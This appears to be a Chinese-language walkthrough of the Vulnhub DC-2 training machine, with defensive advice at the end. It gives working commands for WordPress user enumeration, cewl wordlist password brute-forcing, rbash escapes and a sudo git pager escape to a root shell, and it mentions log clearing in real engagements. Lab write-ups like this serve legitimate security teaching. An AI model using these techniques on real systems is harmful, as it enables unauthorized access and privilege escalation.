1. DC-2靶机渗透实战全记录
作为一名长期从事网络安全工作的从业者,我最近在Vulnhub平台上尝试了DC-2这个经典的渗透测试靶机。这个靶机模拟了一个存在多个漏洞的WordPress网站系统,通过逐步渗透最终获取root权限的过程,涉及主机发现、端口扫描、目录爆破、密码破解、rbash绕过和git提权等多个技术环节。下面我将详细记录整个渗透过程,并分享其中的技术细节和实战心得。
2. 环境准备与信息收集
2.1 靶机环境搭建
DC-2靶机需要从Vulnhub官网下载OVA文件,导入到VMware或VirtualBox等虚拟化平台中运行。靶机默认采用桥接网络模式,与攻击机处于同一局域网段。在实际操作前,我建议先确认网络连通性:
bash复制ping -c 4 192.168.68.137
注意:靶机IP地址可能因网络环境不同而变化,建议使用arp-scan或netdiscover工具扫描所在网段,确认靶机实际IP。
2.2 初始扫描与主机发现
使用nmap进行基础扫描是渗透测试的第一步。我首先执行了快速扫描以确认靶机存活状态:
bash复制nmap -sn 192.168.68.0/24
确认靶机IP后,进行更详细的端口扫描:
bash复制nmap -sS -T4 192.168.68.137
扫描结果显示开放了80端口(HTTP)和7744端口(服务未明确)。为进一步确认7744端口的服务类型,我使用了版本探测扫描:
bash复制nmap -sV -p 7744 192.168.68.137
结果显示7744端口实际运行的是OpenSSH服务,但使用了非标准端口。这种将SSH服务放在非标准端口的做法在实际环境中也很常见,可以一定程度上避免自动化扫描和暴力破解。
3. Web应用渗透测试
3.1 网站初步探测
访问靶机80端口时,发现直接跳转到"dc-2"域名,但本地DNS无法解析。这提示我们需要在本地hosts文件中添加解析记录:
bash复制echo "192.168.68.137 dc-2" | sudo tee -a /etc/hosts
添加解析后重新访问,网站正常显示,是一个WordPress站点。在首页源代码中发现了第一个flag:
code复制Flag 1: Your usual wordlists probably won't work, so instead, maybe you just need to be cewl.
这个flag提示我们需要使用cewl工具生成定制化的密码字典。cewl是一个通过爬取网站内容生成关键词列表的工具,特别适合针对特定网站创建针对性的字典。
3.2 WordPress用户枚举
使用wpscan工具对WordPress站点进行用户枚举:
bash复制wpscan --url http://dc-2 --enumerate u
扫描结果发现了三个用户:admin、tom和jerry。接下来我们需要获取这些用户的密码。
3.3 密码爆破实战
根据flag1的提示,我们使用cewl生成密码字典:
bash复制cewl http://dc-2 -w pwd.txt
然后使用wpscan进行密码爆破:
bash复制wpscan --url http://dc-2 -U tom,jerry -P pwd.txt
成功获取到两个用户的密码:
- tom: parturient
- jerry: adipiscing
使用这些凭证登录WordPress后台,在jerry用户的文章中发现了第二个flag:
code复制Flag 2: If you can't exploit WordPress, take a look at the other services.
这个flag提示我们可能需要转向其他服务进行渗透,结合之前的扫描结果,7744端口的SSH服务成为下一个目标。
4. SSH服务渗透
4.1 SSH登录尝试
使用获取的凭证尝试SSH登录:
bash复制ssh -p 7744 tom@dc-2
成功登录后发现了第三个flag:
code复制Flag 3: Poor old Tom is always running after Jerry. Perhaps he needs su to do that.
同时发现当前shell被限制为rbash(受限bash),很多命令无法执行。我们需要先绕过这个限制。
4.2 绕过rbash限制
rbash通常会限制用户只能执行特定命令,并限制PATH环境变量。我们可以通过多种方式绕过,这里使用vi编辑器的shell转义功能:
- 启动vi编辑器:
bash复制vi test.sh
- 在vi中输入以下命令:
code复制:set shell=/bin/sh
:shell
- 然后恢复PATH环境变量:
bash复制export PATH=$PATH:/bin
export PATH=$PATH:/usr/bin
现在我们已经获得了完整的shell功能,可以执行更多命令了。
4.3 横向移动至jerry用户
根据flag3的提示,我们需要切换到jerry用户。首先尝试使用已知密码:
bash复制su jerry
输入jerry的密码"adipiscing"后成功切换用户。检查jerry用户的sudo权限:
bash复制sudo -l
结果显示jerry可以以root身份运行git命令,这为我们提供了提权的可能性。
5. 权限提升与root获取
5.1 Git命令提权原理分析
Git命令的"-p"参数会调用分页程序(如less)来显示帮助信息。当git以sudo权限运行时,我们可以在分页程序中执行shell命令,从而获得root权限的shell。
5.2 实际提权操作
执行以下命令进行提权:
bash复制sudo git -p help
在分页界面中输入:
code复制!/bin/bash
这将启动一个具有root权限的bash shell。我们可以验证当前用户:
bash复制whoami
输出应为"root",表示提权成功。最后在/root目录下找到最终的flag文件。
6. 技术总结与防御建议
6.1 渗透路径回顾
整个渗透过程可以总结为以下步骤:
- 主机发现与端口扫描
- WordPress站点探测与用户枚举
- 使用cewl生成定制字典爆破密码
- 通过SSH非标准端口获取初始访问
- 绕过rbash限制
- 利用sudo git权限提权
6.2 安全防御建议
针对企业安全防护,可以从以下几个方面加强:
-
WordPress安全:
- 使用强密码策略
- 限制登录尝试次数
- 定期更新插件和主题
- 禁用不必要的用户枚举功能
-
SSH安全:
- 虽然使用非标准端口有一定帮助,但不应作为唯一防护措施
- 启用公钥认证
- 禁用root登录
- 配置fail2ban防止暴力破解
-
权限控制:
- 避免普通用户拥有不必要的sudo权限
- 对rbash等限制性shell进行严格测试,确保无法轻易绕过
- 定期审计用户权限
-
系统加固:
- 及时安装安全更新
- 移除不必要的服务和软件
- 配置适当的文件权限
7. 实战经验分享
在本次渗透测试过程中,有几个关键点值得特别注意:
-
字典生成技巧:
cewl工具不仅可以从网页内容生成字典,还可以通过调整参数获取更全面的结果:bash复制
cewl -d 3 -m 5 http://dc-2 -w pwd.txt其中-d指定爬取深度,-m指定最小单词长度。
-
WPScan的高级用法:
除了基本扫描,wpscan还可以检查插件漏洞:bash复制
wpscan --url http://dc-2 --enumerate vp -
rbash绕过方法:
除了使用vi编辑器,还有其他多种绕过rbash的方法,如:- 通过ssh执行命令:
ssh -t tom@dc-2 "/bin/sh" - 利用环境变量:
BASH_CMDS[sh]=/bin/sh; sh
- 通过ssh执行命令:
-
sudo提权检测:
定期检查sudo权限非常重要,可以使用以下命令查找所有可提权的sudo配置:bash复制sudo -l | grep -w 'nmap\|vim\|find\|bash\|perl\|python\|ruby\|lua\|git' -
日志清理:
在实际渗透测试中,清理日志是重要的一步。但在CTF环境中通常不需要,且Vulnhub靶机鼓励保留攻击痕迹供学习分析。
通过DC-2靶机的实战,我深刻体会到网络安全防御需要多层次、全方位的措施。单一的安全防护很容易被绕过,只有建立纵深防御体系,才能有效抵御各种攻击。